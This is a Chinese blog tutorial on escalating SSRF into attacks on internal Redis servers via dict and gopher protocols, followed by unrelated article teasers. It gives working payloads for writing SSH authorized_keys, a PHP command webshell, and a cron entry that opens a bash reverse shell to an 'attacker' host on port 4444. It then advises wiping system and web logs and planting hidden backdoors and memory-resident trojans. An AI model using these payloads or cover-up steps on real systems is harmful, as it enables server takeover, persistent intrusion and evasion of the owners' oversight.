当前位置: 首页 > article >正文

别再只测SSRF读内网了:手把手教你用dict/gopher协议探测并攻击内网Redis服务

从SSRF到内网Redis渗透实战进阶指南发现SSRF漏洞只是开始真正的挑战在于如何将其转化为实际的攻击路径。当目标内网存在Redis服务时一个看似简单的SSRF可能成为整个内网沦陷的起点。本文将带你深入探索如何通过dict和gopher协议将SSRF漏洞的利用价值最大化。1. 内网Redis服务的基础探测在确认存在SSRF漏洞后第一步是识别内网中开放的Redis服务。不同于简单的端口扫描我们需要更隐蔽且有效的方法。使用dict协议进行指纹识别dict://target:6379/info这个简单的命令可以返回Redis服务的详细信息包括版本号、运行模式、操作系统等关键数据。如果返回包含redis_version字段基本可以确认目标为Redis服务。常见响应分析未授权访问直接返回完整信息需要认证返回NOAUTH Authentication required非Redis服务返回错误或无关信息提示dict协议的优势在于其简洁性大多数防火墙不会拦截这种看似无害的字典协议请求。信息收集的关键指标Redis版本某些版本存在已知漏洞操作系统决定后续攻击方式的选择持久化配置影响写入文件的成功率内存使用情况判断服务是否活跃2. Redis未授权访问的确认与利用确认Redis服务存在只是第一步更重要的是判断是否可利用。未授权访问的Redis服务是内网渗透中最理想的攻击目标。三种快速验证方法直接执行命令dict://target:6379/set test exploit如果返回OK说明可执行任意命令查看数据库配置dict://target:6379/config get *返回的配置信息可能包含敏感路径尝试关闭服务dict://target:6379/shutdown谨慎使用可能导致服务中断风险评估矩阵风险等级判断标准可利用性高危完全未授权可执行任意命令直接攻击中危需要弱密码认证可尝试爆破低危强密码保护或网络隔离难以利用3. 从探测到攻击Gopher协议的实战应用当dict协议确认目标可攻击后gopher协议将成为我们的主要武器。它能构造完整的Redis协议格式请求实现更复杂的攻击。Gopher协议攻击的基本结构gopher://target:6379/_[Redis协议格式的命令]需要将命令转换为Redis协议格式包括用*号表示参数个数$号后跟参数长度实际参数内容三种经典攻击方式详解3.1 写入SSH公钥获取系统权限这是最直接的提权方法前提是Redis以root权限运行。生成SSH密钥对ssh-keygen -t rsa -C exploit构造Redis命令set sshkey \n\n公钥内容\n\n config set dir /root/.ssh/ config set dbfilename authorized_keys save转换为gopher格式gopher://target:6379/_*3%0d%0a$3%0d%0aset%0d%0a$6%0d%0asshkey%0d%0a$...省略完整编码3.2 写入Webshell控制网站当目标服务器同时运行Web服务时这种方法尤为有效。关键步骤确定Web根目录通过info命令或猜测常见路径构造恶意PHP代码set shell ?php system($_GET[cmd]);? config set dir /var/www/html/ config set dbfilename shell.php save注意成功率取决于Web目录的写权限和Redis运行权限3.3 通过计划任务实现持久化在Linux系统下可以通过写入crontab实现长期控制。特殊考虑需要知道当前用户名系统需启用cron服务Redis需要有写入/etc/cron.d/的权限示例payloadset task \n* * * * * bash -i /dev/tcp/attacker/4444 01\n config set dir /etc/cron.d/ config set dbfilename redis-exploit save4. 不同环境下的攻击变通方案实际渗透中理想情况很少见。以下是几种常见限制及应对策略。网络隔离情况Redis仅监听127.0.0.1尝试SSRFRedis主从复制攻击存在防火墙规则使用DNS外带数据确认连通性出站流量受限尝试反弹shell到内部其他可达主机Redis配置防护启用了protected-mode尝试低权限操作配置了rename-command分析可用的命令别名内存限制严格使用短小精悍的payload权限限制场景Redis以低权限运行尝试写入用户目录而非系统目录存在SELinux/AppArmor优先考虑Web目录写入文件系统只读转向信息窃取或作为跳板5. 攻击后的痕迹清理与持久化成功入侵后如何保持访问并隐藏踪迹同样重要。日志清理要点Redis日志修改或删除/var/log/redis/redis-server.log系统日志检查/var/log/auth.log和/var/log/syslogWeb日志如果写入webshell清理相关访问记录隐蔽持久化方法在.bashrc或.profile中添加后门创建隐藏的SSH授权密钥部署内存驻留型木马利用系统服务实现自启动在实际渗透测试中Redis服务的利用方式远不止文中提到的几种。每个内网环境都有其独特性需要根据实际情况灵活调整攻击策略。我曾遇到过一个案例通过Redis主从复制功能成功绕过了网络隔离限制最终拿下了整个内网的控制权。这种层层递进的攻击路径正是内网渗透的魅力所在。

相关文章:

别再只测SSRF读内网了:手把手教你用dict/gopher协议探测并攻击内网Redis服务

从SSRF到内网Redis渗透:实战进阶指南 发现SSRF漏洞只是开始,真正的挑战在于如何将其转化为实际的攻击路径。当目标内网存在Redis服务时,一个看似简单的SSRF可能成为整个内网沦陷的起点。本文将带你深入探索如何通过dict和gopher协议&#xff…...

牛津树资源合集

022-牛津树学校版 1-16级 文件大小: 6.8GB内容特色: 16阶校园版绘本音频一次打包,6.8G进阶无痛适用人群: 想省补习费的3-12岁家长核心价值: 跟着牛津进度走,词汇语感双飙升下载链接: https://pan.quark.cn/s/1ae54f5fbf4f Susan教英语《牛津树家庭版 L…...

从 LLM 到 Agent Skill

AI Agent 入门指南:从零理解智能体的世界理解 AI Agent 生态中的核心概念,知道每个名词是做什么用的一、先搞清楚:什么是 AI Agent?想象你有一个超级聪明的数字助理:它不仅能聊天,还能主动帮你做事它会自己…...

AI CLI Kit:让AI助手生成环境感知的精准命令行指令

1. 项目概述:为什么我们需要一个“懂环境”的AI助手?如果你和我一样,每天有大量时间花在终端里,那你肯定经历过这种场景:你正在Windows的PowerShell里调试一个脚本,转头去问Claude:“怎么批量重…...

3分钟学会Xbox Game Pass存档提取:免费工具实现跨平台游戏进度迁移

3分钟学会Xbox Game Pass存档提取:免费工具实现跨平台游戏进度迁移 【免费下载链接】XGP-save-extractor Python script to extract savefiles out of Xbox Game Pass for PC games 项目地址: https://gitcode.com/gh_mirrors/xg/XGP-save-extractor 作为游戏…...

2026年市面上的培训机构管理系统对比,谁才是性价比之王

教务是培训机构的 “心脏”,而排课是教务最核心、最耗时、最容易出错的环节。传统人工排课:打开 Excel,手动填教师、教室、学员、时间,反复核对冲突,排一周课表要 1–3 天,还经常出现:老师时间撞…...

大模型赛道岗位大揭秘:小白也能轻松入行的5大方向!

文章详细介绍了大模型相关岗位的五大类,包括基座模型岗(理论派、工程派、能力派)、应用算法岗、大模型开发/Agent工程师、AI Infra工程师以及大模型数据工程师。文章强调了应用算法岗更注重项目经验和工程能力,而大模型开发岗则涉…...

ARM链接器命令行选项优化与实战技巧

1. ARM链接器命令行选项深度解析 在嵌入式开发领域,ARM链接器(armlink)作为工具链的关键组件,承担着将多个目标文件合并为可执行程序的重任。不同于简单的文件拼接,现代链接器提供了数十种精细控制选项,能够深度优化代码布局、调试…...

ensp关闭完美世界运行时显示权限不够

Windows PowerShell 版权所有(C) Microsoft Corporation。保留所有权利。安装最新的 PowerShell,了解新功能和改进!https://aka.ms/PSWindowsPS C:\Users\Administrator> net stop MessageTransfer 发生系统错误 5。拒绝访问。…...

RFID电动车智能门禁管理系统技术采用四层架构设计,实现电动车智能化管理。感知层采用防水防撕RFID电子车牌;识别层配置3-4米远距离读卡器;控制层集成ARM7处理器;执行层通过电动道闸或摆闸或广告门

RFID电动车智能门禁管理系统技术方案一、系统架构概览层级设备/组件功能说明感知层RFID电子车牌(DDC-RFID)车辆身份标识,防水防撕带刀口识别层RFID读卡器一体机(DAIC-DDC-RFID)3-4米远距离识别,920-925MHz频…...

基于OpenClaw协议的轻量级AI代理网关MiniClaw实战指南

1. 项目概述:一个轻量级的AI代理网关如果你正在开发一个基于OpenClaw协议的AI应用客户端,或者想快速搭建一个能与现有OpenClaw生态工具(比如各种仪表盘、集成插件)兼容的独立AI代理服务,那么你很可能需要一个能完整实现…...

dotUI设计系统生成器:基于品牌配置一键生成React组件库

1. 项目概述:dotUI,一个为品牌而生的设计系统在当今的Web开发领域,尤其是基于React的生态中,我们常常面临一个两难的选择:是使用现成的UI组件库快速搭建界面,还是投入大量时间从零开始构建一套完全符合品牌…...

西门子S7-300/400老系统改造:用DP/DP Coupler打通新旧产线数据(附Step7组态避坑点)

西门子S7-300/400老系统改造:用DP/DP Coupler打通新旧产线数据(附Step7组态避坑点) 在工业自动化领域,老旧产线升级改造往往面临新旧设备通讯协议不兼容的难题。当传统S7-300系统需要与现代化S7-400或带PN接口的PLC进行数据交互时…...

HDFS源码(二)

DataNode启动源码 创建HttpServer 初始化DataNode Rpc服务 获取NameNode Rpc代理 Datanode向NameNode注册 DataNode与NameNode周期心跳及block块汇报 数据上传源码 创建文件系统及初始化DFSClient 连接NN创建目录 启动DataStreamer线程 向dataQueue队列中写入packet 设置副本写…...

苍穹外卖 项目记录 第四天

第四天任务 完成套餐管理模块所有业务功能,包括:新增套餐套餐分页查询删除套餐修改套餐起售停售套餐每个功能的实现都要按照一般开发流程:需求分析和设计(结合产品原型,接口设计,数据库设计) -> 代码实现 -> 功能测试(成功后提交代码)套…...

XT2055 双灯显示微型线性电池充电管理芯片

■ 产品概述 XT2055 是一款完善的单节锂电池恒流/恒压线性充电管理芯片。较薄的尺寸和较小的封装使它适用于便携式产品的应用,XT2055 也适用于 USB 的供电电路。得益于内部的MOSFET 结构,在应用上不需要外部电阻和阻塞二极管。在高能量运行和外围温度较高…...

多说话人场景下的设备定向语音检测技术解析

1. 多说话人场景下的设备定向语音检测技术解析在智能语音交互系统中,准确识别用户何时在对设备说话(设备定向语音)而非与他人交谈,是提升用户体验的关键技术挑战。这项技术被称为设备定向语音检测(Device-Directed Spe…...

第1篇:认识Go——我的第一个程序 Go中文编程

第1篇:认识Go——我的第一个程序**作者:**中文编程倡导者—— 李金雨 联系方式: wbtm2718qq.com目标:让你成功运行第一个Go程序,建立学习信心! 预计时间:2课时(90分钟) 难…...

中国移联AI元宇宙产业委调研阿尔特汽车科技园 构建高精尖产业的“技术-场景-商业”融合生态

(央链知播 北京讯) 5月7日,中国移动通信联合会人工智能与元宇宙产业工作委员会(简称“中国移联AI与元宇宙产业委”)、中国移动通信联合会数字文化与智慧教育分会、中国通信工业协会区块链专业委员会等机构秘书长何超带…...

Butlerclaw:OpenClaw AI Agent的图形化桌面管理工具

1. 项目概述如果你和我一样,对AI Agent的潜力感到兴奋,但又对OpenClaw这类框架复杂的安装、配置和日常管理感到头疼,那么Butlerclaw的出现,绝对是一个值得庆祝的消息。简单来说,Butlerclaw是一个为OpenClaw量身打造的“…...

基于微信小程序的家政服务预约系统(30291)

有需要的同学,源代码和配套文档领取,加文章最下方的名片哦 一、项目演示 项目演示视频 二、资料介绍 完整源代码(前后端源代码SQL脚本)配套文档(LWPPT开题报告/任务书)远程调试控屏包运行一键启动项目&…...

英雄联盟游戏效率工具League Akari:智能自动化与数据分析完整指南

英雄联盟游戏效率工具League Akari:智能自动化与数据分析完整指南 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 还在为BP阶段手速…...

软考(系统架构师)-论分布式缓存架构设计及其应用

摘要 随着企业协同办公系统用户规模与并发请求量持续增长,作为核心支撑的用户中心系统面临高并发查询、数据库压力过载、通讯录同步缓慢、服务 CPU 与内存频繁告警等性能瓶颈。本人在项目中担任系统架构师,负责用户中心分布式多级缓存架构的选型、设计、…...

Android本地AI语音助手Cliff:开源、离线与可定制的边缘计算实践

1. 项目概述:Cliff,一个运行在Android上的本地化AI语音助手最近在GitHub上看到一个挺有意思的项目,叫“Cliff-Android-Voice-Assistant”。光看名字,你大概能猜到它是一个给安卓设备用的语音助手。但和Siri、小爱同学、Google Ass…...

终极指南:快速掌握碧蓝航线Live2D资源提取技术

终极指南:快速掌握碧蓝航线Live2D资源提取技术 【免费下载链接】AzurLaneLive2DExtract OBSOLETE - see readme / 碧蓝航线Live2D提取 项目地址: https://gitcode.com/gh_mirrors/az/AzurLaneLive2DExtract 在数字内容创作和游戏开发领域,Live2D动…...

大语言模型越狱攻防全景:从对抗攻击到安全防御实践

1. 项目概述与核心价值如果你正在研究或部署大语言模型,那么“越狱”这个词你一定不陌生。它指的是通过各种技术手段,诱导或迫使一个经过安全对齐的模型,输出其原本被禁止生成的内容,比如有害信息、隐私数据或违反其使用政策的回答…...

二十七、RZN2L CherryUSB移植与性能对比

一、目的/概述1、cherryusb还没有人支持瑞萨芯片,我们尝试在RZN2L CR52上移植CherryUSB协议栈2、在rzn2l芯片上实现USB CDC ACM 功能(实现cherryusb hal)3、对比CherryUSB与瑞萨原厂USB例程的性能差异4、验证全速(12Mbps)和高速(4…...

为什么你需要m4s-converter:让B站缓存视频重获自由的秘密武器

为什么你需要m4s-converter:让B站缓存视频重获自由的秘密武器 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾经遇到过这样的…...

告别硬件!用OneNET官方simulate-device工具5分钟搞定MQTT设备云端调试

5分钟实现云端MQTT调试:OneNET模拟设备实战指南 物联网开发中最令人头疼的环节莫过于硬件与云端的联调——硬件没到位时开发停滞,硬件到手后又要面对各种通信问题。OneNET的simulate-device工具彻底改变了这种被动局面,它让开发者能在零硬件依…...

别再手动下载了!用Chocolatey在Windows上一键安装Zookeeper 3.8.0

告别繁琐配置:用Chocolatey在Windows上极速部署Zookeeper 每次在Windows环境下部署Zookeeper,你是否还在重复下载压缩包、配置环境变量、修改配置文件的传统流程?对于追求效率的开发者而言,这种手动操作不仅耗时耗力,还…...